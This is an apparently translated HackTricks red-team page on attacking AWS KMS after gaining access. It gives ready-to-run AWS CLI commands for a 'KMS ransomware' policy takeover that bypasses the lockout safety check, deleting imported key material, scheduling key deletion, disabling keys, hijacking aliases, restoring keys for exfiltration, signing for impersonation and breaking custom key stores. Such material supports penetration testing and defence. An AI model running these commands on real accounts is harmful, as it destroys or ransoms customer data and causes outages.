AWS - KMS Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

KMS

詳細は次を参照してください:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: はファイルをバイナリモードで読み込みます。非テキストファイルに一般的に使用されます。
  • file://: はファイルをテキストモードで読み込みます。プレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に通常使用されます。

Tip

ファイル内のデータをdecryptしたい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)

  • Using a symmetric key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 非対称鍵を使用する:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

KMS に対する特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して 自分のアカウントに対するアクセスを付与し、正規のアカウントに付与されているアクセスを削除できます。

すると、正規のアカウントのユーザーはそれらのキーで暗号化されたサービスの情報に一切アクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を作り出します。

Warning

この攻撃では AWS managed keys は影響を受けません。影響を受けるのは Customer managed keys のみです。

また、パラメータ --bypass-policy-lockout-safety-check を使用する必要がある点に注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能です)。

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

このポリシーを変更して外部アカウントのみにアクセスを付与し、その外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとしても、クロスアカウントからは Put Polocy アクションを実行できないため、できません。

一般的な KMS Ransomware

グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:

  • 攻撃者がインポートした key with a key material を持つ新しいキーを作成する
  • 被害者が以前のバージョンで暗号化した古いデータを Re-encrypt older data して新しいキーで再暗号化する
  • Delete the KMS key
  • こうしてオリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになる

kms:DeleteImportedKeyMaterial による鍵の削除

kms:DeleteImportedKeyMaterial permission があれば、アクターは Origin=EXTERNAL の CMKs からインポートされた key material を削除でき(キー素材をインポートした CMKs)、それによりそれらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り回復できません。結果として、攻撃者は暗号化された情報を恒久的にアクセス不能にして、ransomware-like data loss を実質的に引き起こすことができます。

aws kms delete-imported-key-material --key-id <Key_ID>

キーを破壊

キーを破壊すると、DoSを実行することが可能です。

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

注意: AWS は現在 以前の操作が cross account から実行されることを防止しています:

Alias の変更または削除

この攻撃は AWS KMS aliases を削除またはリダイレクトし、キーの解決を失わせ、それらの aliases に依存するサービスで即時に障害を発生させ、denial-of-service を引き起こします。kms:DeleteAliaskms:UpdateAlias のような権限があれば、攻撃者は aliases を削除または別の場所を指すように変更し、暗号化操作(例:encrypt、describe)を妨害できます。alias を key ID の代わりに参照しているサービスは、alias が復元されるか正しく再マッピングされるまで失敗する可能性があります。

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancel Key Deletion

kms:CancelKeyDeletionkms:EnableKey のような権限があれば、攻撃者は AWS KMS のカスタマーマスターキーの予定された削除を取り消し、後で再有効化できます。こうすることでキーを回復(最初は Disabled 状態)し、以前に保護されていたデータを復号する能力を復元して、exfiltration を可能にします。

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

キーの無効化

kms:DisableKey の権限があれば、攻撃者は AWS KMS のカスタマーマスターキー(CMK)を無効化でき、暗号化や復号で使用できなくなります。これにより当該 CMK に依存するサービスのアクセスが遮断され、キーが再有効化されるまで即時の障害や denial-of-service が発生する可能性があります。

aws kms disable-key \
--key-id <key_id>

共有シークレットの導出

kms:DeriveSharedSecret 権限を持つアクターは、KMS が保持する秘密鍵とユーザー提供の公開鍵を使用して ECDH 共有シークレットを計算できます。

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

kms:Sign の権限があれば、攻撃者は KMS-stored CMK を使って private key を露出させることなくデータを暗号的に署名し、正当な署名を生成して impersonation を可能にしたり悪意のある操作を承認したりできます。

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

kms:DeleteCustomKeyStorekms:DisconnectCustomKeyStore、または kms:UpdateCustomKeyStore のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除してそのマスターキーを利用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号化、署名操作が中断され、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが極めて重要です。

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする